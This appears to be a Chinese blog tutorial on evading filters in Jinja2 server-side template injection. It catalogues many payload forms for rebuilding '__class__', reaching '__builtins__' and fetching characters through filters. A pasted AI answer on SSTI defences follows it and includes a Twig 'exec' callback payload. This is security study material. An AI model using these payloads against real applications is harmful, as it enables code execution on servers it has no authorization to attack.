SSTI模板注入绕过(进阶篇)

本文详细介绍了Jinja2模板引擎的语法及变量处理方法,并深入探讨了如何利用各种技巧进行模板注入攻击,包括字符串构造、获取键值和属性等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


下面的内容均以jinja2为例,根据官方文档来探寻绕过方法
文档链接
默认大家都已经可以利用没有任何过滤的模板注入

语法

官方文档对于模板的语法介绍如下

{% ... %} for Statements 

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

#  ... # for Line Statements

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句
# for i in ['a','1']
{{ i }}
# endfor

{% for i in ['a','1'] %}
{{ i }}
{% endfor %}

这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即
app.jinja_env.line_statement_prefix="#"
但我尝试之后发现开启不了,不知道为什么

变量

You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). --官方原文

也就是说
除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性。
比如

{{"".__class__}}
{{""['__classs__']}}

所以过滤了点,我们还可以用中括号绕过。
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

我们要使用字典中的键值的话,也可以用list.pop("var"),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现getsetdefault是个不错的选择

dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值

dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法__getattribute__

"".__class__
"".__getattribute__("__class__")

如果题目过滤了class或者一些关键字,我们是不是就可以通过字符串处理进行拼接了。
对于我们来说,能转换成字符串会更好处理一些。
那我们就顺势讲一下字符串的一些处理方法。
1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

先想到这些,下面讲过滤器再补充

过滤器

原文介绍

Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may 
have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is 
applied to the next.
For example, {{ name|striptags|title }} will remove all HTML Tags from variable name and title-case the
output (title(striptags(name))).

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。

例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。

讲几个对我们进行模板注入比较实用的吧,其他的大家可以去文档中学习。

attr

Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and 
items are not looked up.

也就是说 attr用于获取变量
例如

""|attr("__class__")
相当于
"".__class__

这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

format

Apply the given values to a printf-style format string, like string % values.

功能和我们前面讲到的字符串绕过中的format类似。
用法
{ "%s, %s!"|format(greeting, name) }}
那么我们想要调用__class__就可以用format了

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

first last random

Return the first item of a sequence.
Return the last item of a sequence.
Return a random item from the sequence.

前两个其实用处不是很大,因为他只能返回第一个值或者最后一个,当然,如果我们用的就是第一个或者最后一个那就ok了。
random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的。

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

join

Return a string which is the concatenation of the strings in the sequence. The separator between elements is an
empty string per default, you can define it with the optional parameter:

{{ [1, 2, 3]|join('|') }}
    -> 1|2|3

{{ [1, 2, 3]|join }}
    -> 123
It is also possible to join certain attributes of an object:

{{ users|join(', ', attribute='username') }}

这个用处就相当大了,我们貌似又多了一种字符串拼接的方法

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

lower

Convert a value to lowercase.
功能类似于前面的转换成小写
""["__CLASS__"|lower]

replace reverse

Return a copy of the value with all occurrences of a substring replaced with a new one. The first 
argument is the substring that should be replaced, the second is the replacement string. If the optional 
third argument count is given, only the first count occurrences are replaced


Reverse the object or return an iterator that iterates over it the other way round.

我们可以利用替换和反转还原回我们要用的字符串了

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"

string

Make a string unicode if it isn’t already. That way a markup string is not converted back to unicode.

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<

select unique

Filters a sequence of objects by applying a test to each object, and only selecting the objects with the test succeeding.
If no test is specified, each object will be evaluated as a boolean.
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。
如果没有指定测试,则每个对象都将被计算为布尔值

Returns a list of unique items from the given iterable.

这两个乍一看感觉没啥用处,其实如果我们和上面的结合就会发现他们巨大的用处

()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

这样我们会拥有比前面更多的字符来用于拼接

(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

得到字符串"__class__"

在这里插入图片描述

list

Convert the value into a list. If it was a string the returned list will be a list of characters.

转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限

(()|select|string)[0]
如果中括号被过滤了,挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__
(()|select|string|list).pop(0)

过滤器也先写到这了,还有不少,大家可以自行研究。

总结

获取内置方法 以chr为例

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

获取字符串
具体原理可参考文章

request.args.x1   	get传参
request.values.x1 	get、post传参
request.cookies
request.form.x1   	post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		post传参	(Content-Type:a/b)
request.json		post传json  (Content-Type: application/json)

字符串构造

1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"[::-1]]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

8、利用过滤器

('__clas','s__')|join
["__CLASS__"|lower
"__claee__"|replace("ee","ss") 
"__ssalc__"|reverse
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)


(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

dict(__clas=a,s__=b)|join

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

转载请联系笔者

<think>好的,我现在需要处理用户关于SSTI(服务器端模板注入)漏洞的查询。用户想了解其原理及防御措施。首先,我要确保自己正确理解SSTI的基本概念。 根据引用[5],SSTI漏洞是因为服务端接收了用户的恶意输入后,未经处理就作为模板内容的一部分,导致模板引擎编译时执行了恶意代码。这点是关键,需要解释清楚。接下来,我需要说明原理,可能分步骤:用户输入被嵌入模板模板引擎处理时解析了恶意代码,导致攻击。例如,用户输入`{{7*7}}`如果返回49,说明存在漏洞。 然后,防御措施部分需要结合多个引用。引用[1]提到不要让用户控制模板内容,使用正规的渲染方法。引用[3]建议限制模板的访问权限,引用[2]提到输入验证、白名单过滤等。引用[5]提到不同语言的常见模板引擎,可能需要具体说明防御措施适用于这些引擎。 需要注意用户要求回答结构清晰,分点说明。可能先讲原理,再讲防御,每个部分用条目列出。同时,确保使用正确的中文术语,避免技术术语错误。 可能的问题点:是否遗漏了某些防御措施?比如引用[4]提到的靶场练习,虽然重要,但可能属于实践部分,不是直接的防御措施。需要确认是否需要包含。 另外,用户提供的引用中有重复的内容,需要整合。例如,输入验证、白名单、限制访问、使用安全模板方法等。需要将这些综合起来,分点说明。 最后,生成相关问题,需围绕SSTI漏洞,比如不同引擎的利用方式、检测方法、案例等。确保问题相关且有助于用户进一步学习。 总结步骤:1. 解释SSTI原理,2. 详细说明防御措施,3. 生成相关问题。需要引用正确的来源,并在回答末尾添加引用标识。</think>### SSTI(服务器端模板注入)漏洞原理及防御措施 #### **一、原理** 1. **漏洞成因** SSTI漏洞是由于服务端将用户的恶意输入直接嵌入模板中,未经处理即由模板引擎解析执行。例如,用户输入如`{{7*7}}`,若返回`49`则表明模板引擎执行了该表达式,漏洞存在[^5]。 $$ \text{恶意代码} \rightarrow \text{模板引擎解析} \rightarrow \text{执行危险操作} $$ 2. **攻击流程** - 攻击者通过参数、表单等提交包含模板语法的恶意输入(如`{{config}}`)。 - 服务端错误地将输入拼接到模板中,模板引擎将其视为合法代码编译执行。 - 攻击者可读取敏感数据(如数据库密码)、执行系统命令,甚至控制服务器[^2][^5]。 3. **影响范围** 漏洞危害程度取决于模板引擎的功能复杂度。例如: - **Python(Jinja2)**:可通过`{{''.__class__.__mro__}}`访问类方法。 - **PHP(Twig)**:可能利用`{{_self.env.registerUndefinedFilterCallback("exec")}}`执行命令。 --- #### **二、防御措施** 1. **输入过滤与验证** - 对用户输入进行**严格白名单过滤**,禁止包含模板语法字符(如`$`、`{{}}`)。 - 使用正则表达式检测危险符号,例如匹配`\{\{.*\}\}`并拦截[^2]。 2. **安全的模板渲染方法** - 避免直接拼接用户输入到模板,改用**上下文变量传递**。例如在Flask中: ```python return render_template("index.html", content=user_input) # 安全:变量通过上下文传递 ``` 而非`render_template_string(user_input)`[^1][^5]。 3. **最小化模板引擎权限** - 禁用模板引擎的危险功能,如Jinja2的`{% debug %}`或访问内置对象(如`__builtins__`)。 - 配置模板沙箱环境,限制文件读写和系统调用[^4]。 4. **访问控制与审计** - **限制模板文件修改权限**,仅允许管理员或可信用户操作[^3]。 - 定期进行**安全审计**,检查模板渲染逻辑是否存在注入风险。 5. **框架与组件更新** - 及时升级模板引擎版本,修复已知漏洞(如Jinja2旧版本的沙箱逃逸问题)。 ---
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值